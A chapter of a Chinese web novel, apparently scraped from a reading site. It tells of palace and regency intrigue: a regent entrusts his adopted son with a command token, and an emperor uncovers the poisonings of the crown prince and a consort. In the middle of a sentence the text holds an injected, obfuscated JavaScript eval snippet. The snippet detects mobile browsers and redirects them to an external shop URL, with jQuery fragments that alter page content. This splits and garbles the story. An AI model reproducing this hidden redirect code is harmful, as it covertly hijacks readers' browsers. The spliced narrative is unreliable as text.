默认冷灰
24号文字
方正启体

119.御前失仪

作者:乐樵本书字数:K更新时间:
    碑文出现不过数日,便已经在市井中传得沸沸扬扬。茶馆说书人一拍惊堂木,言之凿凿:“那山河令,非凡物也,一令出能召千军万马、问鼎天下。”


    青楼里佳人红袖添香时,都在说那公输绝古墓和文轩大帝地宫中藏着的不只是金银,更有惊天秘术与天命之谜。


    孩童跟着大人们鹦鹉学舌,弟弟追着哥哥嚷着要去地宫和古墓探险,闹得小巷鸡犬不宁;而有些胆大妄为之徒,已经三五成群,偷偷潜入公输绝古墓附近,妄图一挖成名。


    流言渐盛,终惊动朝廷。二皇子皇甫云州密令兵部暗中调兵封山设卡,阻止百姓靠近;而江湖上,各大门派亦蠢蠢欲动,天机阁掐指推演,算得血光之灾将至;青云观夜观星象,称“帝星有移”,天下恐有易主之兆。


    一时间山雨欲来,风满楼。


    摄政王府,通州殿内,香烟缭绕,檀木屏风之后隐隐传来议事声。独孤慎端坐主位,神色冷峻:“西岭古冢若当真是公输绝的古墓,而其中又藏着能够开启文轩大帝地宫的钥匙。此物一出,若不能为我所用,他日必成大患。”


    殿中一时寂静,只有夏风卷起珠帘,吹动灯芯明明灭灭。独孤慎顿了顿嘱咐眼前人道:“此事,本王只交于你才放心。你务必要抢在皇甫云州与各大门派之前,翻遍古墓夺得地宫钥匙。”


    他解下随身携带的一枚通体漆黑、蛟龙缠绕的玄铁令牌,起身行至苏怀堂面前,不容置喙地将那块象征摄政王滔天权柄的玄铁令牌,亲手放入苏怀堂掌心,“众人见承恩令,如见本王亲临。生杀予夺,悉听尊便。革新派一切兵马人事皆可由你调遣。”


    令牌握在手中,沉甸甸的。


    苏怀堂怔怔望着玄铁令牌,指尖微微蜷缩,素来冷静自持的眼里翻涌起情义交织的脉脉温情。他一时竟不敢信,义父竟将这般权力交托给自己。


    这不仅是块令牌,分明是将整副身家、满腔信任,尽数交到了自己手中。


    苏怀堂强压下心绪翻涌,双手稳稳接过令牌,单膝跪地,声音清冽却斩钉截铁:“义父如此信任,孩儿万死不辞,人在,令在,绝不辜负义父所托!”


    苏怀堂垂首应命时,独孤慎目光在他身上停留了一瞬,眼神深处掠过一丝难以捕捉的暗影,极其短暂,快得让人以为是错觉。


    独孤慎笑了笑,轻声叮嘱道:“你办事我素来放心,只是此去凶险,江湖和朝廷势力都对古墓虎视眈眈……你务必万千小心。“


    关心仅此一句,点到即止。


    苏怀堂明知这话里七分上位者是驭人之术,可那两三分仅有的暖意,便足够叫他赴汤蹈火,并且甘之如饴。


    “多谢义父关心,”苏怀堂沉声应道:“一定不负义父所托。”


    殿外却猝然传来一声讥笑,伴着初夏凉风登堂入室,“父王如此爱重苏指挥使,连这等机密都只交给他办,倒让儿子自惭形秽了。”


    屋内众人抬眼,只见世子独孤迦罗缓步而入,他今日玉冠绣袍,一副风度翩翩的富家公子模样,比素日里步步为营的筹谋算计平添了几分闲散。


    他目光掠过苏怀堂,语气是惯常的质疑和轻蔑:“西岭山中非比寻常,凡是前去探看的猎户至今仍音讯全无,听闻还有传说中的‘诅咒之术’护墓……不知苏指挥使能否胜任呀?”


    苏怀堂冷冷瞥了他一眼,转过头不理会。独孤迦罗嘴角微扬不依不饶道:“若你失手,届时地宫钥匙落入保皇派或者其他江湖宵小之手,必将造成局势动荡,父王多年的辛苦筹谋可能都会付之东流……”


    苏怀堂抬眸,眼神如寒冰,反唇相讥,“义父正是顾全大局,才将此事交付给我处理。世子行事向来……勇猛有余,前次梁州之失,若不是世子不顾劝阻贸然追击,又怎会导致人员折损过甚。”


    “梁州的事我早已跟父王解释过,用不着你在这里挑拨离间,”独孤迦罗忍气挑眉道,“我只是关心弟弟是否有担此大任的能耐,莫非你自己心虚?你敢立下军令状吗?!”


    独孤慎未言语,闲闲地轻拨茶盏,目光如水,似看透一切,却又什么都没说。殿中气氛凝滞,沉默半晌后,苏怀堂不愿让独孤慎为难,主动打破僵局道:“孩儿愿立军令状,若不能取得地宫钥匙、获取山河令,甘愿接受军法处置。“


    独孤迦罗冷哼一声,“那本世子便静候佳音了!”


    苏怀堂起身,只对摄政王拱手,低声:“儿臣此去,不论艰难险阻,定不辱义父所托。”自始至终未再看世子一眼,转身离开。


    独孤迦罗盯着他离开的背影,忽而将案上杯盏砸向地面,“呸,不过是独孤家的一条狗。”


    夜色笼罩宫阙,薛景珩踏着月色,穿过重重宫门,黑色披风在身后微微飘动。他腰间悬挂的令牌在月光下泛着冷光,那是文帝亲赐,允他任何时候都能秘密入宫面圣的特权。


    “薛统领,陛下已在靖安殿等候多时了。“何顺压低声音道,眼中带着敬畏和恭谨。薛景珩微微颔首,白皙的脸色在阴影中显得格外苍白。他手指无意识地摩挲着袖中的密折,那里记载着足以震动朝野的真相。


    靖安殿内,烛火通明却寂静无声。文帝背对着殿门,负手而立,明黄色的龙袍在灯光下显得格外刺目。


    “臣薛景珩,叩见陛下。”他单膝跪地,声音低沉而清晰。


    “起来吧。”文帝没有转身,声音里带着一丝疲惫,“查清楚了?”


    薛景珩起身,从袖中取出密折双手呈上:“回禀陛下,前太子与贵妃娘娘的死因,已经查明。”


    文帝这才缓缓转身,接过密折却没有立即打开,捏紧了手指。他年近五十,鬓角已见斑白,但那双眼睛依然锐利如鹰隼,此刻正紧盯着薛景珩:“说详细些。”


    “太子并非自戕,而是有人假冒陛下圣谕,送了一壶鸩酒。”


    文帝倏地转身,目光如刀:“谁动的手?”


    “是德妃娘娘永和宫的内侍。”薛景珩答得简洁,“下手干净利落,字迹仿制得极真。若不是微臣事后追查御前用印记录,几乎无从查起。”


    皇帝眼中闪过一丝阴霾,手指不自觉地收紧,密折在他手中发出轻微的声响:“德妃……她好大的胆子。”


    薛景珩顿了顿,“而贵妃娘娘的死,不是临时起意的谋害……则是一开始就设好的局。”他从怀中取出那支白玉笛:“陛下可认得此物?”


    文帝眼神略有迟滞:“这是贵妃的笛子。她素爱把玩,在宫里几乎从不离手。”


    薛景珩说出“鸩毒”一事后,文帝神情变得更加凝重,眉间压着沉沉怒意,但却未爆发。他似乎知道,这还不是全部。“你还知道什么?”皇帝低声问。


    薛景珩垂眸,“贵妃精神的确出了问题,但并非太子之事一时刺激。陛下可还记得,五年前,娘娘常在朝云殿召见一名吹笛的乐师。“


    文帝微怔,眼底闪过一丝隐晦的情绪,“贵妃有失眠的老毛病,只有听着笛声才能安寝……朕便命人搜寻了很多擅乐的乐技,供其赏玩。那个乐师朕还有些印象,他的空山闻笛吹的极好,贵妃很喜欢他


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17356805|188073||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。”


    “不错。”薛景珩点头,“此人三年前本是德妃兄长家中仆役,因容貌与贵妃族中表兄有几分相似,被刻意调教音律,后更名易容,送入宫中。他每次吹笛时,香案上便会燃起一种混有‘忘忧散’的安神香。”


    皇帝神色一凛:“忘忧散?”


    “是。”薛景珩语气不悲不喜,“此香无色无味,初闻安神,再配合贵妃汤药中常用的迷迭香,便可使人逐渐神智涣散。”


    文帝手指轻颤,声音有些不稳:“贵妃……知情吗?”


    “知与不知,怕是连她自己也分不清了。”薛景珩语气中透出一丝怜悯,“贵妃情深,未忘年少旧人。德妃便借她的执念,慢慢将她引入局中。”


    文帝缓缓阖上眼,呼吸有些重。他记起那段时间,贵妃常常梦中低语,称自己仍在江南,说梦里有表兄为她吹笛。


    良久,文帝突然问道:“那个乐师呢?”


    “说是在狱中服毒自尽,实则是被德妃灭口。”薛景珩呈上一份供词,“但他死前曾对刑部的人招认,二皇子曾许诺事成后给他黄金千两,送他离京。”


    文帝的眼神变得异常平静,这种平静比先前的暴怒更为可怕。


    恰在此时,德妃和婉贵妃宫中宫人分别捧着甜汤和药膳求见,“东西交给……”何顺本想将宫人都打发走,却撞见文帝眼神示意,瞬间眼明心亮,赶忙掉转了话题,“快送进去吧,多谢各位娘娘费心呢。”


    薛景珩闪身退到后殿。


    婉贵妃的绿芜是从前伺候过太皇太后的,面圣时只是垂眸不语,高举着药膳俸给何顺。而德妃身旁的芍药素来会巴结奉承,赶忙抓紧了机会替德妃进言,“我们娘娘日夜思念陛下,今日特意亲手做了甜汤,还请陛下品鉴。”


    “德妃有心了,她是南方人,最擅做甜品”,文帝当真取了甜汤来饮,绿芜端着药膳,悄悄抬起眼打量,德妃自入宫以来便不得盛宠,从前有沈皇后和言贵妃珠玉在前,如今被年轻貌美的婉贵妃压着,难道如今时来运转,重新获宠了?绿芜只是心中盘算着,并未作声。


    芍药见状越发得意,使出平时的手段,借着德妃的名头,多问了几句圣体安否,言语间暗含试探,皆是后宫寻常争宠的小伎俩。


    文帝倒也一一应答,绿芜心中诧异,文帝素有贤名,对待宫人并不刻薄寡恩,但也从不与人亲近,总是有种与生俱来的距离感,怎么如今倒对一个小小的芍药如此和颜悦色。


    芍药一时得意的昏了头,不妨问出了德妃娘娘的心里话,“皇上今日可要去永和宫坐坐?”


    话音一出,绿芜愣住,文帝表情不变,眸中寒色沉沉,吩咐何顺道:“区区宫人,也敢窥伺圣意、干预君心,可见永和宫中主仆一体,心性不端。德妃御下无方,居心叵测,即日起禁足永和宫,无朕旨意,不得踏出殿门半步。”


    “皇上,奴婢冤枉,奴婢冤枉,娘娘她不是这个意思……”芍药哀嚎着被御前侍卫拖走。


    “你也赶紧下去。”何顺悄悄踢了一脚呆若木鸡的绿芜,绿芜才恍然大悟地清醒过来,赶忙拜了一拜躬身退下,离开前路过何顺时轻声道,“多谢公公提点。”


    待殿内宫人噤若寒蝉退去,文帝才缓了神色,对何顺吩咐:“朕昨夜梦见言贵妃,心下难安。她生前恭顺温柔,却红颜薄命,”文帝声音里透着前所未有的疲惫,“传旨,贵妃言氏,温良恭俭,追封为孝贤皇后,以皇后之礼改葬。”


    “另外,”他顿了顿,“将那个乐师的尸体挖出来喂狗。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)